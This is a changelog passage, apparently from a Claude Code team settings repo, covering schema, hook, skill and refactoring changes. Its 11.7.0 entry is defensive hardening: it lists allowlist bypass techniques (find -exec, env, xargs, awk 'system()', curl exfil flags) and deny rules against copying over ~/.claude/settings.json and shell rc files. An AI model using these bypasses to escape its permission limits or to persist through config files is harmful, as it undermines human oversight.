claudeCodeVersion2.1.156 → 2.1.159,lastScanrefreshed. Scanner reports no drift. - Skipped — v2.1.159 internal-only changes;
.claude/skillsplugin auto-loading +claude plugin init(cc-settings installs skills directly, not via marketplace);/pluginautocomplete;EnterWorktreemid-session switching; worktree unlock-on-completion; and assorted image-paste / sandbox-prompt //model-picker / terminal-UI bugfixes.
Changed
src/lib/json-io.ts(new) — extracted the generic JSON + atomic-file I/O (atomicWriteString,atomicWriteJson,readJsonOrNull) plus the parse-error class out ofsrc/lib/mcp.ts, which had stranded these in a domain module thatsetup.ts,settings-merge.ts,status.ts, andscripts/track-tldr.tsall imported purely for I/O.mcp.tsis now MCP-only. The error class is renamedMcpParseError→JsonParseErrorto match its new home (setup.ts+tests/phase3-libs.test.tsupdated). No re-export shim left behind.src/lib/hooks-fingerprint.ts—writeFingerprintnow calls the canonicalatomicWriteJsoninstead of hand-rolling its own tmp-file + rename (byte-identical output).src/lib/project-awareness.ts,src/lib/status.ts,src/scripts/checkpoint.ts,src/scripts/stop-summary.ts— replaced privaterun/runCapturespawn-stdout copies and inlinegitspawns with the canonicalrunGitfromsrc/lib/git.ts. Behavior-preserving: these git commands emit no stdout on failure, sorunGit's trimmed-stdout result matches the old exit-code-gated"".- Name collisions resolved —
audit-hooks.ts's exportedclassify/Severity→classifyHookCommand/HookSeverity;lint-skills.ts'sSeverity→SkillSeverity;claude-audit.ts's privateclassify→classifyBashCommand. No two modules export the same identifier with different semantics anymore (tests/audit-hooks.test.tsupdated). src/lib/hook-config.ts— convertedreadFileSync→ asyncreadFilethroughgetHookConfig/getClaudeMdMonitor, removing the lone sync I/O in the otherwise-async SessionStart hook layer (session-start.tsnow awaits). The env-var fast path still short-circuits before any file read.src/lib/settings-merge.ts— documented a removal policy for the append-onlyDEPRECATED_COMMAND_PATTERNSlist (drop a pattern ~6 minor releases after its target script was removed) so it doesn't grow unbounded.- Dependencies — bumped to latest and normalized to exact pins (dropped the two stray carets):
zod4.3.6→4.4.3,@biomejs/biome2.4.12→2.4.16 (plus thebiome.json$schemaURL),@types/bun1.3.12→1.3.14,yaml→2.9.0,@inquirer/confirm→6.1.0. All within the same major; generated schemas unchanged; 399 tests still pass. MANUAL.md— corrected the Effort Level section (listedlow/medium/high (default); the real pinned default isxhigh, the ladder also hasmax, plus the session-onlyultracodemode) and added a "Model on AWS / Bedrock / Vertex / Foundry" note to pinANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-8— surfacing a footgun previously documented only in the changelog (opussilently resolves to 4.7 on AWS, 4.6 on Bedrock/Vertex/Foundry).
Removed
isStack()(src/lib/stack.ts) — dead export, zero references repo-wide.runGitFull(src/lib/git.ts) — the thinrunProcessFull("git", …)wrapper is gone; its 8 callers incheckpoint.tsandupstream/scan.tsnow callrunProcessFull("git", …)directly. (Initially kept as arunGit/runGitFullpair; removed by maintainer decision — one fewer indirection, at the cost of more verbose call sites.)- Exports narrowed —
FRONTMATTER_RE,FrontmatterParseError,FrontmatterParseResult(frontmatter.ts) andisInteractive(prompts.ts) are no longer exported; each was used only within its own module. (Also initially left exported, then narrowed by maintainer decision.)
Notes
tests/phase2-scripts.test.ts(prune-mcp-auth-cache) now writes its fixture underos.tmpdir()with anafterAllcleanup, instead of leaving an untracked.tmp-mcp-auth-cache-test/at the repo root.
[11.11.0] — 2026-05-29
Three ideas ported from Shopify Engineering's "Under the River" (May 2026), scoped to what actually maps onto a config repo (its monorepo/Nix/Postgres-session infrastructure does not). The post's load-bearing claim — private agent sessions plateau; public corpora compound — surfaced a real gap: share-learning was retired in [11.3.0], leaving the shared knowledge board with no invocation UI and nothing to prompt its use, so every learning died in one developer's private auto-memory.
Added
skills/share-learning/(revived, improved) — restores the/share-learning <type> "<text>"UI for the shared GitHub Project knowledge board. Unlike the[11.3.0]-retired wrapper, it now dedups against the board (gh project item-list→ semantic near-duplicate check → confirm with the user) beforegh project item-create, so the value is agent judgment, not a thin CLI shim. Skill count 27 → 28 (under the 40 soft-cap).src/hooks/promote-memory.ts(newPostToolUsehook) — when aproject- orfeedback-type auto-memory is written, emits one gentleadditionalContextnudge suggesting/share-learningif the learning is team-relevant. Deduped per memory file (seen-set under~/.claude/.cache/); silent foruser/referencetypes and non-memory writes. Makes promotion proactive instead of relying on the developer to remember the board exists.src/schemas/profile.ts(ProfileFrontmatter) — profiles gain a validated frontmatter convention (name,description, advisorymodel/skills/tools/permissionMode/effort), reusing the agent schema'sAgentModel/AgentEffort/AgentPermissionModeto prevent drift. Advisory only — validated for well-formedness and read as a manifest of intent, not runtime-enforced (whether Claude Code consumes profile frontmatter at runtime is intentionally not relied upon). Emitsschemas/profile.schema.json.tests/profile-schema.test.ts—ProfileFrontmatteraccept/reject cases plus a check that all six shipped profiles validate. Full suite 399 pass.
Changed
AGENTS.md— added a third## Philosophyprinciple: the work to make a codebase legible to an agent is the debt you owe your human engineers; every skill/rule/intent-doc entry pays it down for both audiences at once.profiles/*.md(all 6) — added the new frontmatter block. The five tech profiles (nextjs,react-native,tauri,webgl,react-router) previously had none;maestrogained advisorymodel/skills/effort.config/40-hooks.json— registeredpromote-memory.tsunderPostToolUse(Write|Edit, sync, 3s timeout).src/lib/managed-skills.ts— movedshare-learningfrom the upgrade-cleanup tombstones back into the active list.src/lib/frontmatter-validate.ts—validateFrontmattersnow also walksprofiles/*.md(newkind: "profile", mirroringvalidateAgents); install warning wording → "agents/skills/profiles".docs/profiles.md/docs/frontmatter-reference.md— document the profile frontmatter convention and its advisory caveat.- Skill-count references —
CLAUDE.md,CLAUDE-FULL.md,MANUAL.md,skills/README.mdupdated 27 → 28 and de-listedshare-learningfrom "retired".
Notes
- The shared-board mechanism (
docs/knowledge-system.md, envKNOWLEDGE_PROJECT_NUMBER) was unchanged; this batch only restores its UI and makes promotion proactive. - Pre-existing
lint/style/useTemplateinfo onsrc/scripts/gen-permissions-doc.ts:65is unrelated to this batch and was left untouched.
[11.10.0] — 2026-05-28
Tracks Anthropic's Opus 4.8 release and surfaces Claude Code's new dynamic workflows / ultracode mode without coupling the orchestration layer to the (still preview-stage) Workflow tool API.
Changed
.claude-plugin/plugin.json— keywordopus-4.7→opus-4.8;requires.claude_codebumped>=2.1.116→>=2.1.154(minimum version for Opus 4.8 + dynamic workflows).CLAUDE-FULL.md— "Opus 4.7 note" → "Opus 4.8 note"; rewrote the effort calibration paragraph: default effort on 4.8 ishigh(wasxhighon 4.7); cc-settings still pinsxhighviaCLAUDE_CODE_EFFORT_LEVEL, but thexhighladder allocates more thinking tokens per turn on 4.8, so the compact-at-65% rationale was updated accordingly. Addedultracodeto the effort ladder as a session-only mode that combinesxhighreasoning with automatic workflow orchestration.AGENTS.md— response-calibration + literal-prompt notes updated 4.7 → 4.8.docs/settings-reference.md— model table now shows Opus 4.8 / Sonnet 4.6 with a provider-resolution callout for AWS / Bedrock / Vertex / Foundry; Bedrock ARN example updated toclaude-opus-4-8/claude-sonnet-4-6; legacyCLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDEflagged "two generations stale"; added a note clarifying thatultracodeis session-only and not a valid value forCLAUDE_CODE_EFFORT_LEVEL/effortLevel/--effort.skills/orchestrate/SKILL.md— added "Alternative: dynamic workflows" callout pointing users at/effort ultracodeand theworkflowkeyword for tasks matching the large-codebase-analysis / wide-blast-radius-migration shapes, while keeping maestroAgent()fan-out as the default.skills/nuclear-review/SKILL.md— added a tip in "When to use" pointing reviewers at/effort ultracodefor whole-codebase audits; the workflow runtime holds phase state outside Claude's context window, freeing room for actual review findings.skills/handoff/SKILL.md— statusline example + degradation-threshold table updated to Opus 4.8 / Sonnet 4.6.MANUAL.md/USAGE.md— statusline screenshots updated.rules/git.md— co-author DON'T example updated.tests/safety-net.test.ts— co-author block-list test string updated (the rule still blocks any "Claude" co-author; the assertion string was 4.7-specific).src/hooks/parallelmax-nudge.ts/src/hooks/statusline.ts— copy / example-string comment updated.
Notes
- No structural changes to
maestro,planner,implementer, ororchestrate. TheWorkflowtool's API is research preview; coupling the cc-settings orchestration layer to it now would constrain us when it stabilizes. The default delegation path staysAgent()fan-out. - Provider note: On the Anthropic API and claude.ai Max, the
opusalias resolves to Opus 4.8 with no further config. On Claude Platform on AWS,opusstill resolves to 4.7; on Bedrock / Vertex / Foundry it resolves to 4.6 — pinclaude-opus-4-8viaANTHROPIC_DEFAULT_OPUS_MODELon those providers.
[11.9.1] — 2026-05-27
Delegation tuning in response to studio feedback that implementer spawned too eagerly and that worktree isolation hid its changes from pre-commit review. The write-agents now run in the live working tree and leave an uncommitted diff for review instead of working in an isolated origin/main checkout.
Changed
agents/{implementer,scaffolder,tester,deslopper}.md— removed theisolation: worktreedefault. These agents now run in the caller's live working tree, so edits land as a reviewable diff rather than commits on a hidden worktree branch. Each also blocksBash(git commit:*)(tester already did) so work is left uncommitted for the caller to review before it lands.reviewer/security-reviewerkeep worktree isolation — they produce reports, not diffs.agents/implementer.md— reframed the Briefing Gate andREQUIRED BRIEFINGrationale off the worktree premise. The briefing contract still holds (a subagent receives only its prompt, with no conversation context), but the justification is context isolation, not a fresh checkout. The "commit logical chunks" workflow step and "report your commit SHA" verification line became "leave an uncommitted diff."- CLAUDE-FULL.md — raised the
implementerdelegation threshold from "2+ files" to "3+ files, or 10+ tool calls"; widened "act directly" to cover 1–2 file / sub-10-tool-call edits; replaced the "Don't self-override" enforcement rule (which pushed the model to spawn even for small work) with "Match the tool to the size"; reframed the briefing-contract callout off worktree. - docs/feature-agents-guide.md — updated the "base ref overwrites in-session edits" gotcha: the write-agents no longer default to worktree, so the footgun only applies when worktree isolation is explicitly opted into.
Notes
- Behavior change: orchestrations that relied on
implementer(or the other write-agents) committing their own chunks now receive an uncommitted diff; the dispatching session is responsible for committing after review.
[11.9.0] — 2026-05-26
Whole-codebase maintainability pass from a /nuclear-review audit. Behavior-preserving across the board — full test suite (380) and typecheck stay green. No file exceeded 1000 lines and all six direct dependencies are within one minor of current with idiomatic usage (native z.toJSONSchema, no redundant deps), so this batch is structural cleanup only.
Changed
src/hooks/safety-net.ts— the four full-string rules (AI attribution, find/xargs, shell + interpreter unwrap) ran once on the whole command and again per split segment, doubling work on every single-segment command. Reframed into two tiers:analyzeFullString(rules that need the un-split command) runs once;analyzeSegmentruns only rm/git, which must see each;/&&/||segment so a safe leading subcommand can't mask a destructive trailing one.analyzeCommandremains the depth-bounded recursion target.src/lib/git.ts— extractedrunProcessFull(bin, args);runGitFulldelegates to it andsrc/upstream/scan.ts's byte-identical localrunGhis gone.runGitgains an optional{ cwd }sosrc/hooks/statusline.tsdrops its copied spawn body (its local adapter now only binds--no-optional-locks+ cwd).src/lib/platform.ts— addedymd()(YYYY-MM-DD); removed three private copies inlog-bash.ts,claude-audit.ts, andsession-start.ts.src/setup.ts— parallelized independent install I/O (createDirectories, the disjoint removals incleanOldConfig, the lockfile copies, the two disjoint-tree install phases, and summary counts). Clean-then-install ordering preserved.src/scripts/handoff.ts— single-flag arg loop collapsed to afindIndex; the twolatest.*symlink updates now run concurrently.src/hooks/pre-edit-validate.ts— readsfile_path+old_stringfrom the singleTOOL_INPUTJSON blob, dropping the redundant per-field-env source asymmetry.src/lib/colors.ts—showBannerversion param is now required (stale"8.0"default removed).
Fixed
src/lib/audit-hooks.ts—totalHooksnow counts audited command hooks (the value the CLI prints as "hook command(s) total") instead offindings.length, which over-counted by the schema pseudo-finding whenever schema validation failed.looksOpaqueusesreduceinstead ofMath.max(...spread)to avoid a call-stack blowout on pathological settings.json input.
Notes
- The audit flagged the discarded
safeParseresult inmergeSettingsWithMcpPreservation(settings-merge.ts). Investigated and intentionally left as-is: the rootSettingsschema ispassthroughbut nested objects (StatusLine,Attribution, …) strip unknown keys, so merging validated.datawould silently drop forward-compat fields. The raw-based merge is correct; the validation is a deliberate diagnostic.
[11.8.3] — 2026-05-26
Audit-driven documentation fixes and a permission-listing generator that keeps the allow/deny rules exhaustive and self-syncing.
Fixed
- CLAUDE.md dep name:
@inquirer/prompts→@inquirer/confirm(matches package.json). - README.md skill count: 26 → 27; agent count: 10 → 9; profiles listing: added
react-routerin two places. - MANUAL.md stack-aware skills list: removed retired
/lenis; removedoraclefrom the All Agents table (it is a skill, not an agent); hooks section header changed from "Hooks (Automatic — 29 Events)" to "Hooks (Automatic)" with a one-line lead pointing todocs/hooks-reference.md. - docs/settings-reference.md context7 tool name:
mcp__context7__get-library-docs→mcp__context7__query-docs;modelOverridesARN version suffixes:4-6→4-7. - docs/hooks-reference.md SessionStart table: added missing
verify-hooks.tsrow (fingerprint validation, sync, runs beforesession-start.ts). - hooks/README.md hooks table: added missing
TaskCompletedrow (swarm-log.ts complete, async). - mcp-configs/README.md key name: all three occurrences of
disabledMcpServers→disabledMcpjsonServers(the correct key; the old name silently no-ops). - docs/frontmatter-reference.md All Agents table:
explore,implementer,tester,scaffolder,desloppercorrected tosonnet(were incorrectly listed asopus);oraclerow removed (noagents/oracle.md); "Agents with memory enabled" note updated to removeoracle.
Added
src/scripts/gen-permissions-doc.ts— exportsbuildPermissionsBlock(repoRoot)and marker constantsBEGIN/END; CLI (bun run docs:permissions) injects the generated allow/deny listing into the<!-- BEGIN/END AUTOGEN:permissions -->markers indocs/settings-reference.md.docs/settings-reference.md— "Complete current rule list" subsection with<!-- BEGIN/END AUTOGEN:permissions -->markers, populated by the generator.tests/docs-permissions.test.ts— freshness test: asserts the committed block equalsbuildPermissionsBlock()output; a hand-edit or permissions change without regen failsbun test.package.jsonscriptdocs:permissions.
[11.8.2] — 2026-05-26
Documentation reconciliation — bring docs in line with the v11.5.0–v11.8.1 releases. (The obvious churn — parallelmax-judge, worktree-hook scripts, the strict→passthrough prose, version/skill counts — was already kept current in-flight; this catches what drifted.)
Fixed
- Hook-event count corrected to 29 in
CLAUDE-FULL.md,MANUAL.md,hooks/README.md, anddocs/hooks-reference.md(was a mix of stale27and an off-by-one30). 29 = the manifestknownHookEventsand the official docs. docs/settings-reference.mdpermission snapshot was a hand-maintained mirror that had drifted (it listedBash(curl|find|env|xargs|awk|vitest):*as allowed — all removed in v11.7.0 — and even showednode -e/node -punder allow when they're denied). Replaced the enumerated allow/deny copy with a drift-resistant categorical summary that namesconfig/30-permissions.jsonas authoritative (bun run composeshows the live set) and documents the v11.7.0 hardening + cp/mv worm-gap denies.
Changed
docs/agent-models.mdnow documentsCLAUDE_CODE_SUBAGENT_MODEL(the session-level Agent-Teams teammate model lever, set tosonnetin v11.6.0) alongside the per-agent routing table.
[11.8.1] — 2026-05-26
Process hardening prompted by two recurring implementer failures observed while shipping v11.6.0 and v11.8.0: the agent (1) hand-wrote a generated file (schemas/settings.schema.json) instead of running the emitter — and got it wrong — and (2) reported "commands to run" instead of actually running its verification gate. Both slipped past local checks and would only have been caught by post-push CI.
Added
- Schema-freshness test —
tests/schemas.test.tsnow asserts every committedschemas/*.schema.jsonis byte-identical to emitter output. A stale or hand-written generated schema now fails the normalbun testrun, not just the post-push CIschemasjob.src/schemas/emit.tswas refactored to exportbuildSchema()/targets/OUTand guard its disk writes behindimport.meta.main, so importing it (from the test) no longer writes files.
Changed
agents/implementer.mdguardrails — the Verification Checklist now requires the agent to (a) run verification commands itself and paste real pass/fail counts + commit SHA (a list of "commands to run" is explicitly NOT acceptance), and (b) regenerate generated files via their generator and never hand-write them (bun run schemas:checkmust be clean).src/schemas/settings.ts— added a schema-authoring note: prefer permissive enum supersets over doc-literal values, since Claude Code persists values its docs omit (effortLevel: "max",teammateMode: "in-process") and passthrough tolerates unknown keys but not invalid values of known keys. Codifies the v11.7.1/v11.8.0 lesson.
[11.8.0] — 2026-05-26
Reconcile the Settings zod schema with the full documented Claude Code settings surface and relax .strict() → .passthrough(). Claude Code writes undocumented keys (theme, agentPushNotifEnabled, enabledPlugins) to settings.json, so .strict() could never validate a real live file — installs worked only because setup.ts uses safeParse with a raw fallback. This release fixes the schema to reflect reality: passthrough tolerance for undocumented keys, typed coverage expanded from ~39 → 96 keys (the documented surface is ~104; the remainder are tolerated via passthrough), and a new fragment typo-guard test that replaces the old strict check for our own config/*.json fragments. TeammateMode gains the doc-canonical in-process and tmux variants. Schema re-emitted so schemas/settings.schema.json matches (additionalProperties flips false → {}).
Changed
src/schemas/settings.ts: root.strict()→.passthrough()with explanatory commentsrc/schemas/settings.ts:TeammateModeenum extended toauto | in-process | tmux | manual | disabledupstream/claude-code-manifest.json:knownSettingsKeysupdated to mirror fullSettings.shape(39 → 96 keys)schemas/settings.schema.json: re-emitted;additionalPropertiesis now{}(passthrough)tests/schemas.test.ts: "rejects unknown top-level keys (strict)" → "accepts unknown top-level keys (forward-compat passthrough)"tests/setup.test.ts: "unknown top-level key → success:false" → "success:true";safeParse failuretest switched to type-error input
Added
src/schemas/settings.ts: ~65 new optional fields covering GENERAL, ENTERPRISE/MANAGED, AUTH/PROVIDER, and UX key groups (see schema comments for per-field descriptions)tests/schemas.test.ts: "composed fragments contain only known keys" — typo-guard replacing the old strict checktests/schemas.test.ts: positive test assertingtui:"fullscreen",editorMode:"vim",autoUpdatesChannel:"latest",teammateMode:"in-process"→ success:truetests/schemas.test.ts: negative test assertingtui:"bogus"→ success:false (enum still validates known keys)docs/settings-reference.md: "## Complete settings.json key reference" table (all ~104 keys with type, class, description)
Fixed
Settings.safeParseon a real live~/.claude/settings.jsonnow returnssuccess:trueinstead of failing on undocumented keys written by Claude CodeeffortLevelenum widened to include"max"— real live configs persisteffortLevel: "max"(the env var's full range), which the key's docs omit. Passthrough tolerates unknown keys but not invalid values of known keys, so without this the live file still failed validation on this one field. Verified: the actual live~/.claude/settings.jsonnow validates end-to-end.
Files changed
src/schemas/settings.ts,schemas/settings.schema.jsonupstream/claude-code-manifest.jsonschemas/settings.schema.jsontests/schemas.test.tstests/setup.test.tsdocs/settings-reference.mdsrc/setup.tsCHANGELOG.md
[11.7.1] — 2026-05-26
Schema gap-fill: two settings keys Claude Code writes to settings.json were missing from our Settings schema, so the .strict() parse rejected real configs (the safeParse forward-compat fallback in setup.ts kept installs working, but the schema was wrong). Surfaced when the live ~/.claude/settings.json failed a strict parse with five unrecognized keys; each was verified against the official settings docs before adding — three were not documented and deliberately left out.
Adopted
effortLevel(string:low|medium|high|xhigh) — persists the effort level across sessions; thesettings.jsoncounterpart of theCLAUDE_CODE_EFFORT_LEVELenv var. Note the key's docs omitmax, which only the env var accepts. Added tosrc/schemas/settings.ts,knownSettingsKeys, anddocs/settings-reference.md.skipDangerousModePermissionPrompt(boolean) — skips the confirmation before entering bypass-permissions mode; ignored in project settings so untrusted repos can't auto-bypass. Same three files.
Verified but NOT added
theme,agentPushNotifEnabled,enabledPlugins— present in the live settings.json (written by the app) but absent from the official settings reference, so not added to the strict schema. (enabledPluginswas rejected as undocumented in the v11.5.0 article audit too — that call stands.) ThesafeParsefallback continues to tolerate them at install time.
Larger finding (not addressed here): the official settings reference now documents ~90 top-level keys; our schema tracks ~39. The
.strict()schema is therefore narrower than reality for many real (mostly enterprise/managed/UX) keys — installs are unaffected thanks to thesafeParsefallback, but a fuller schema/manifest reconciliation is worth a dedicated pass.
[11.7.0] — 2026-05-26
Security hardening of the permission allowlist (config/30-permissions.json) — the manual equivalent of a /less-permission-prompts consolidation pass, done as a security-reviewer audit.
Removed from allow
- Five arbitrary-execution backdoors —
Bash(curl:*),Bash(find:*),Bash(env:*),Bash(xargs:*),Bash(awk:*). Each let an adversarially-constructed command bypass every other restriction in the file (find -exec,env VAR=x cmd,xargs cmd,awk 'system()', and curl's write/exfil flags), and the deny list — a string/glob blocklist — could not reliably close those gaps. Removing them means those commands now prompt instead of running silently;Glob/Grep/LS/jq/printenvcover the legitimate uses. Bash(vitest:*)— dead entry; the repo runsbun test, vitest isn't installed. (Bash(lighthouse:*)was intentionally kept — the lighthouse skill shells out to it.)
Added to deny (defense-in-depth)
- cp/mv worm-gap —
Bash(cp|mv * → ~/.claude/settings.json | ~/.claude.json | ~/.zshrc | ~/.bashrc | ~/.bash_profile). TheWritetool is denied on these paths, but shellcp/mv(still allowed) bypassed that — the exact Shai-Hulud persistence vectorSECURITY.mdtargets. - curl flag hardening —
-o/-O(write-to-disk),-H/--header/--cookie(header/cookie exfil),-X DELETE/-X PATCH(mutating methods), mirroring the existing POST/PUT denies. gh api --method DELETE(complements the existing-X DELETEdeny),find * -exec, andgit push --force-with-lease(the force-push denies missed the lease variant).
Note on caveats: allow removals are deterministic (unmatched → prompt). Deny additions match by string/glob, so mid-command flag patterns are best-effort defense-in-depth — they never reduce safety, but shouldn't be relied on as the sole guard. The removals are the robust fix.
Live reconcile: the installer's merger preserves user-only
allowrules, so re-runningsetup.shwill NOT drop the five backdoors from an existing~/.claude/settings.json— they must be removed from the live file directly (the new denies do propagate via merge). Fresh installs get the hardened set automatically.
[11.6.1] — 2026-05-26
Hotfix: revert the WorktreeCreate / WorktreeRemove hooks shipped in v11.6.0. They broke worktree creation. In Claude Code's harness, WorktreeCreate is a provisioning hook — it is expected to create the worktree and return its path (echo the path to stdout / hookSpecificOutput.worktreePath). The v11.6.0 scripts were logging-only and returned nothing, so worktree creation failed with "hook succeeded but returned no worktree path," which broke agent spawning and any EnterWorktree flow. A passive, observability-only WorktreeCreate hook is not viable in this harness.
Removed
WorktreeCreate/WorktreeRemovehook wiring inconfig/40-hooks.jsonand the scriptssrc/scripts/worktree-create.ts/worktree-remove.ts. Both command patterns were added toDEPRECATED_COMMAND_PATTERNS(src/lib/settings-merge.ts) so the merger prunes any lingering reference from an upgrader's livesettings.json. Docs reverted indocs/hooks-reference.md(the generic event-table rows describing the upstream events remain; only the "we wire these scripts" claims were removed). The worktree tests intests/phase2-scripts.test.tswere removed.
Everything else from v11.6.0 stands: CLAUDE_CODE_SUBAGENT_MODEL, the TaskCompleted hook, the three new tracked hook events, the three new env vars, the duration_ms docs, and the sandbox schema fields are unaffected.
[11.6.0] — 2026-05-26
Gap-fill bundle adopting verified Claude Code capabilities (v2.1.117–v2.1.147) and closing manifest/schema/doc drift: subagent model routing, TaskCompleted + WorktreeCreate/Remove hooks, three new tracked hook events, three new env vars, duration_ms docs, sandbox schema fields.
Adopted
CLAUDE_CODE_SUBAGENT_MODELenv var (upstream v2.1.147) — routes Agent Teams teammate subprocess sessions to Sonnet while the main session keeps its pinned Opus model. Set to"sonnet"inconfig/10-core.json; documented indocs/settings-reference.mdand added toupstream/claude-code-manifest.jsonknownEnvVars.TaskCompletedhook (upstream) — wired inconfig/40-hooks.jsontoswarm-log.ts complete, logging task completion to~/.claude/swarm.log. Mirrors the existingTaskCreatedhandler.swarm-log.tsupdated with the newcompletearg.WorktreeCreate/WorktreeRemovehooks (upstream) — new async, fail-open scripts (src/scripts/worktree-create.ts,src/scripts/worktree-remove.ts) log worktree lifecycle events to~/.claude/logs/worktree.log. Pure observability; always exit 0, emit no output that could alter worktree behavior. Wired inconfig/40-hooks.json.Setup,UserPromptExpansion,PostToolBatchhook events — three events documented upstream but absent from our schema. Added toHookEventenum insrc/schemas/hooks.tsand toknownHookEventsinupstream/claude-code-manifest.json(alphabetical order).CLAUDE_CODE_SHELL_PREFIX(v2.1.128),CLAUDE_CODE_SUBAGENT_MODEL(v2.1.147),OTEL_LOG_TOOL_DETAILS(v2.1.117) — three env vars tracked upstream but missing from our manifest. Added toknownEnvVars(alphabetical) and documented indocs/settings-reference.md.
Fixed
duration_msinPostToolUse/PostToolUseFailuredocs — upstream addedduration_ms(tool execution time, excluding permission prompts and PreToolUse) to both hook payloads in v2.1.119. Documented in the event-specific-variables table indocs/hooks-reference.md.- Sandbox schema fields —
src/schemas/settings.tsSandboxschema was missingenableWeakerNetworkIsolation(macOS weaker network isolation for MITM proxy verification) andfilesystem.allowWrite(list of paths re-allowed inside denyWrite regions). Both were referenced indocs/settings-reference.mdbut rejected by the schema. Added with inline comments. CLAUDE_CODE_ENABLE_AWAY_SUMMARYdocs — already inknownEnvVarsbut undocumented. Added row to the env table indocs/settings-reference.md(v2.1.110; on by default; set=0to opt out).setup-argstest robustness —parseArgs > defaultsassertedsourceDirmatched/cc-settings$/, which failed whenever the suite ran inside a git worktree (path ends inagent-<hash>, notcc-settings). Loosened to atoContain("cc-settings")substring check that holds in both a normal checkout and a worktree.
Files changed
config/10-core.jsonconfig/40-hooks.jsondocs/hooks-reference.mddocs/settings-reference.mdsrc/schemas/hooks.tssrc/schemas/settings.ts,schemas/settings.schema.jsonsrc/scripts/swarm-log.tssrc/scripts/worktree-create.ts(new)src/scripts/worktree-remove.ts(new)src/setup.tsupstream/claude-code-manifest.jsontests/schemas.test.tstests/phase2-scripts.test.tstests/setup-args.test.tsCHANGELOG.md
[11.5.1] — 2026-05-26
Bug fix: remove the parallelmax-judge.ts Stop hook. It spawned a nested claude -p --model haiku session on every turn that tripped the parallelmax counter (≥ 5 non-Agent tool calls). That nested session ran the full SessionStart hook chain — so its PROJECT CONTEXT banner and the judge's own <conversation-excerpt> … DELEGATE/OK prompt leaked onto the user's terminal, looking like "every new terminal starts with this." It was also the only place in the codebase that spawned a nested claude, and cost a full extra Claude session per tripped Stop with only debounce-bounded recursion protection.
Removed
src/hooks/parallelmax-judge.tsand itsStopwiring inconfig/40-hooks.json(theStopevent now runs onlystop-summary.ts). Delegation enforcement is unchanged in intent: the deterministic, zero-costparallelmax-nudge.ts(PostToolUse, N=8) anddelegation-detector.tsremain. Docs updated indocs/hooks-reference.md,docs/settings-reference.md,MANUAL.md, andhooks/README.md.
Fixed
- Installer prunes the stale judge reference automatically. Added
parallelmax-judge.tstoDEPRECATED_COMMAND_PATTERNSinsrc/lib/settings-merge.ts, so upgraders whose livesettings.jsonstill carries the oldStopgroup (stop-summary+ judge) get the judge pruned on the next install rather than firing a dangling reference forever. - No duplicate
stop-summaryafter a partial prune. The hook merger previously re-added a partially-pruned user group as a "user extra" even when pruning had collapsed it into a group the team already provides — leaving twostop-summaryentries.hooksStrategynow drops a pruned group that matches a team-provided group. Covered by new cases intests/settings-merge.test.ts.
Re-run
setup.shafter upgrading so the installer drops the stale~/.claude/src/hooks/parallelmax-judge.ts, prunes the danglingStopreference, and refreshes theverify-hooksfingerprint for the newStopblock.
[11.5.0] — 2026-05-25
Sync with Claude Code v2.1.150 plus an audit-driven gap-fill that adds three previously-missing real settings keys our schema didn't accept yet. v2.1.150 itself was internal infrastructure only.
Adopted
allowAllClaudeAiMcpsmanaged setting (upstream v2.1.149) — boolean that loads the claude.ai cloud MCP connectors alongside the locally-configuredmanaged-mcp.json. Added tosrc/schemas/settings.ts(sits next toallowedMcpServers/deniedMcpServers), enumerated inupstream/claude-code-manifest.jsonknownSettingsKeys, and documented indocs/settings-reference.mdwith a JSON example. Lets orgs opt into the full claude.ai MCP catalogue without enumerating each connector locally.cleanupPeriodDays— real upstream key (number, default 30, min 1) controlling transcript and orphaned-worktree retention at startup. Previously missing from cc-settings schema so user configs that set it failed the.strict()parse. Schema gap-fill flagged during a settings-audit pass against the upstream docs.enabledMcpjsonServers/disabledMcpjsonServers— real upstream string-array keys that allow/block specific MCP servers declared in project-level.mcp.jsonfiles. Distinct fromallowedMcpServers/deniedMcpServers(URL patterns); these match by server name. Same audit-pass gap-fill — both were missing from our schema and manifest.
Deletions / Native-now-redundant
None this cycle. The remaining v2.1.149 bullets are upstream bug fixes (PowerShell cd bypass, sandbox worktree allowlist, find macOS vnode crash, status-bar effort display, several UI freezes) — no cc-settings code wrapped or asserted on the affected behavior, so nothing to remove.
Files changed
src/schemas/settings.ts,schemas/settings.schema.jsonupstream/claude-code-manifest.jsondocs/settings-reference.mdsrc/setup.tsCHANGELOG.md
[11.4.0] — 2026-05-22
New /nuclear-review skill ships alongside a self-applied audit pass that closes 11 findings across both audits — MANAGED_SKILLS duplication, runGit triplicate, pad() consolidation, readJsonOrNull<T> type-lie, Strategy key threading, safety-net spaghetti, zod-4 deprecations, dead code. Net: −150 LOC of duplication/cruft, +1 skill, +1 lib module, +1 lib export, +2 safety-net helpers. No behavior change in any common path; one interactive-merge UX bug ("<scalar>" placeholder) fixed.
feat: nuclear-review skill — whole-codebase audit + context7 dependency check + Phase 4 docs pass
New /nuclear-review skill — unusually strict whole-codebase maintainability audit. Structural rubric adapted from cursor/plugins/cursor-team-kit/skills/thermo-nuclear-code-quality-review (reported by Eric Zakariasson as Cursor's most-used internal skill); cc-settings extends Cursor's per-diff scope to the whole repo and adds a context7-driven dependency audit phase that checks currency, deprecated API usage, role-duplication, and maintainer-recommended usage patterns for every direct dependency, plus a Phase 4 documentation updates that keeps CHANGELOG / MANUAL / derived schemas in sync whenever audit findings turn into commits (so audit-driven refactors don't ship as anonymous history). Flags every 1k-line file, thin wrapper, leaked-logic boundary, and pushes "code-judo" moves that delete whole branches instead of rearranging them. Frontmatter declares requires: [{ mcp: context7 }] so the installer warns when the MCP server is missing. Sibling to /review (per-PR Darkroom checklist) and /zero-tech-debt (rework patch to end-state). Skill count 26 → 27 (soft cap still 40). Triggers include "nuclear review", "thermonuclear review", "code judo", "whole codebase review", "harsh maintainability review". Wired into MANUAL.md and skill-count references in CLAUDE.md / CLAUDE-FULL.md.
refactor: extract MANAGED_SKILLS to src/lib/managed-skills.ts
The 50-entry MANAGED_SKILLS array (active list + upgrade-cleanup tombstones) was duplicated verbatim across src/setup.ts and src/lib/status.ts — every new skill required edits in two places and the duplication had already drifted in prior commits. Extracted to a single src/lib/managed-skills.ts; status.ts re-exports for callers that already import from it. Net: −114 LOC removed, +70 added, drift risk eliminated. First nuclear-review code-judo finding.
refactor: nuclear-review hygiene — z.url() + pad() consolidation
Two findings from the first nuclear-review audit applied in one commit:
- zod v4 idioms. Two call sites still used
